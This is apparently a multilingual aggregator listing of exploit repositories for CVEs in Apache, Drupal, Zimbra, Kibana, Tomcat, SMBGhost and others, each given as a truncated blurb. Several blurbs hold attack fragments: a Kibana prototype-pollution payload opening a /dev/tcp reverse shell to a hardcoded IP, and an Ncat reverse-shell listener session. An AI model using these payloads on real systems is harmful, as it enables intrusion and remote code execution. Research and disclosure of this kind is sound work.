CVE-2025-5548-Exploit-Development

CVE-2025-5548 - Laboratorio di Sviluppo Exploit Questo repository documenta il processo di configurazione di un ambiente di lavoro per l'analisi delle vulnerabilità e lo sviluppo di exploit, e la sua applicazione a un caso pratico di buffer overflow. Il progetto è costruito attorno a FreeFloat FT...

CVE-2019-16724

Schwachstellenbeschreibung File Sharing Wizard 1.5.0 erlaubt es einem entfernten Angreifer, beliebigen Code durch Ausnutzung eines auf einem Structured Exception Handler SEH basierenden Pufferüberlaufs in einem HTTP-POST-Parameter auszuführen. Dieser Exploit wurde unter windows 7 Home getestet. E...

CVE-2017-0781

CVE-2017-0781 PoC Übersicht Dies ist eine Implementierung der CVE-2017-0781 Android-Heap-Overflow-Schwachstelle, die im von Armis veröffentlichten Blueborne-Whitepaper beschrieben wird. Weiterführende Informationen: https://www.armis.com/blueborne/ Im aktuellen Zustand demonstriert dieser Code nu...

CVE-2017-0199

Exploit-Toolkit CVE-2017-0199 - v2.0 Das Exploit-Toolkit CVE-2017-0199 - v2.0 ist ein praktisches Python-Skript, das eine schnelle und effektive Möglichkeit bietet, Microsoft RTF RCE auszunutzen. Es kann eine bösartige RTF-Datei generieren und einen Metasploit-/Meterpreter-Payload an das Opfer...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- Utilizzo Listener di reverse shell con Ncat root@kitploit: root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyrigh...

CVE-2026-35196

CVE-2026-35196 · Chamilo LMS · OS-Befehlseinschleusung → RCE Forscher: K Offenlegungsart: Verantwortungsvolle Offenlegung Status: Gepatched Betroffenes Produkt: Chamilo LMS 2.0 Bestätigt auf v1.11.32 📋 Zusammenfassung der Schwachstelle...

CVE-2024-23995

Beekeeper-Studio PoC Ein Proof-of-Concept für die Schwachstelle CVE-2024-23995. 1. Übersicht über die Schwachstelle: Betroffene Schwachstelle: RCE via XSS Betroffene Version: = Beekeeper-Studio-4.1.13 Angriffstyp: Remote Code Execution Angriffsvektoren: Um die Schwachstelle auszunutzen, muss man...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 Esecuzione di codice remota ⚠️ Disclaimer Questa repository è destinata esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso...

Zimbra-RCE

Zimbra-RCE Zimbra RCE CVE-2019-9670 root@kitploit: $ ./zimbra.py -h . . \ /|| \ | \ \ \ / / / | |/ | \ \ \ | / \ / | / / | | Y Y \ \ \ | // \ | | \ | \ / |||| / /| / || /\ / / / / / / / / / usage: zimbra.py -h -u URL -d DTD -n PAYLOADNAME -f PAYLOADFILE Zimbra RCE CVE-2019-9670...

cve-2021-41773

Apache httpd RCE È stata riscontrata una vulnerabilità in una modifica apportata alla normalizzazione dei path in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file esterni alle directory configurate tramite direttive simili ad...

CVE-2020-0796-SMBGhost-Exploit-Demo

CVE-2020-0796 Exploit Demo SMBGhost Questo progetto dimostra un proof-of-concept PoC dell'exploit di CVE-2020-0796, noto anche come SMBGhost - una vulnerabilità critica di RCE pre-autenticazione che colpisce i sistemi Windows 10 e Windows Server che utilizzano SMBv3. È stato sviluppato come parte...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Clicca su Canvas per ottenere una shell...

CVE-2026-30691

CVE-2026-30691 - 漏洞公告 CVE-2026-30691 的官方 MITRE 漏洞记录详情及技术文档。 root@kitploit: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Suggested description Cross-Site Scripting XSS vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a crafted .txt...

CVE-2025-65791

CVE-2025-65791 — ZoneMinder中的命令注入 概述 由于 web/views/image.php 组件中的输入验证不当，ZoneMinder v1.36.34 存在一个严重的命令注入 漏洞。未经过滤的用户可控输入被直接传递给 PHP 的 exec 函数，允许远程攻击者执行任意系统命令。 该漏洞已被分配编号 CVE-2025-65791 。 受影响产品 供应商： ZoneMinder 产品： ZoneMinder 版本： 1.36.34 组件： web/views/image.php 漏洞详情 该应用程序在使用用户提供的输入于 shell...

CVE-2018-8174

CVE-2018-8174 MS Word 및 MS WordPad의 IE VBS Engine RCE MS Word 및 MS WordPad RCE IE VBS RCE 경유 https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript index.html을 웹 서버에 저장하십시오. 그런 다음 Python 스크립트를 사용하여 RTF Exploit을 생성하십시오. 셸코드는 정적이며, 메인 웹사이트에서 Putty.exe를 다운로드 및 실행합니다. 셸코드는...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT 메소드를 이용한 임의 파일 쓰기 CVE-2017-12615 그래픽 취약점 활용 도구 취약점 소개 2017년 9월 19일, Apache Tomcat 공식에서 두 가지 고위험 취약점을 확인하고 수정했습니다. 취약점 CVE 번호: CVE-2017-12615 및 CVE-2017-12616. 그 중 원격 코드 실행 취약점 CVE-2017-12615 영향: Apache Tomcat 7.0.0 - 7.0.79 7.0.81에서 수정 불완전 Tomcat이 Windows 호스트에서 실행 중이고...

cve-2019-3398

cve-2019-3398 세부 정보 CVE-2019-3398 Confluence 취약점에 대한 빠른 Python 개념 증명PoC입니다. Python으로 작성되었습니다. Confluence 버전 6.12.3, 6.13.3, 6.14.2 및 6.15.1이 영향을 받습니다. 이 익스플로잇을 사용하려면 유효한 자격 증명이 필요합니다. 사용 방법 osusername 및 ospassword 필드를 편집하고, 취약한 서버에 따라 filename 경로를 조정해야 할 수 있습니다. 경로가 올바르게 설정되면 shell.jsp가 웹 서버의 루트에...

CVE-2018-7600

CVE-2018-7600 Drupalgeddon2 익스플로잇 – Python3 면책 조항: 이 프로젝트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 소유하지 않았거나 테스트에 대한 명시적 서면 허가를 받지 않은 시스템에서 이 코드를 사용하지 마십시오. 무단 사용은 불법 이며 법적 처벌을 받을 수 있습니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 설명 이 Python3 스크립트는 CVE-2018-7600 Drupalgeddon2 취약점을 악용합니다. 이는 여러 Drupal 버전에 영향을 미치는 치명...

CVE-2022-41544

CVE-2022-41544 Эксплойт для CVE-2022-41544 - RCE в get-simple CMS Использование Usage: python3 CVE-2022-41544.py Пример...

CVE-2022-29464

CVE-2022-29464 Введение Критическая уязвимость WSO2 CVE-2022-29464 была обнаружена Orange Tsai. Ошибка представляет собой неавторизованную, неограниченную произвольную загрузку файлов, которая позволяет неавторизованным пользователям отправлять вредоносные JSP-файлы на серверы WSO2 и получать...